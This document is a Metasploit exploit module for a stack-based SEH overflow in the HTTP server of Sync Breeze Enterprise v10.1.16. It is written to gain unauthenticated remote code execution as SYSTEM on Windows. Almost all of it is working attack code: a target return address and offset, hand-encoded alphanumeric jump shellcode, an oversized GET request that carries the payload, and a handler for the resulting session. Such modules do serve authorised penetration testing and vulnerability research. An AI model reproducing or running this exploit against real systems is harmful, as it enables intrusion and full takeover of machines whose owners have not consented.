SyncBreeze 10.1.16 SEH GET Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SyncBreeze v10.1.16 SEH GET Overflow',  
'Description' => %q{  
There exists an unauthenticated SEH based vulnerability in the HTTP  
server of Sync Breeze Enterprise v10.1.16, when sending a GET request  
with an excessive length it is possible for a malicious user to overwrite the  
SEH record and execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.  
  
The SEH record is overwritten with a "POP,POP,RET" pointer from the application  
library libspp.dll. This exploit has been successfully tested on Windows XP, 7 and  
10 (x86->x64). It should work against all versions of Windows and service packs.  
},  
  
'Author' => 'wetw0rk',  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 800,  
'EncoderType' => "alpha_upper",  
'BadChars' => "\x00\x0a\x0d"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows XP/7/10 (SyncBreez Enterprise v10.1.16)',  
{ 'Ret' => 0x1001C65C,  
'Offset' => 2495   
}]  
],  
'DisclosureDate' => 'October 11 2017',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(80)])  
  
end  
  
def exploit  
connect  
  
print_status("Trying #{target.name}")  
  
# Make the JMP to the payload, else JMP into the A's acting as NOP's  
# Using AlphaNum technique learned from Mut's in OSCE (aka a legend)  
jumpcode = "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a  
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235  
jumpcode << "\x2d\x37\x37\x37\x37" # sub eax,0x37373737  
jumpcode << "\x2d\x74\x74\x74\x74" # sub eax,0x74747474  
jumpcode << "\x2d\x55\x54\x55\x70" # sub eax,0x70555455  
jumpcode << "\x50" # push eax  
jumpcode << "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a  
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235  
jumpcode << "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d  
jumpcode << "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d  
jumpcode << "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025  
jumpcode << "\x50" # push eax  
jumpcode << "\xff\xe4" # jmp esp  
# greetz to kluo, and abatchy17  
sploit = payload.encoded  
sploit << 'A' * (target['Offset'] - payload.encoded.length)  
sploit << "\x74\x06\x75\x06"  
sploit << [target.ret].pack('V')  
sploit << jumpcode  
sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length))  
  
send_request_cgi(  
'uri' => '/' + sploit,  
'method' => 'GET',  
'host' => '4.2.2.2',  
'connection' => 'keep-alive'  
)  
  
handler  
disconnect  
end  
  
end  
`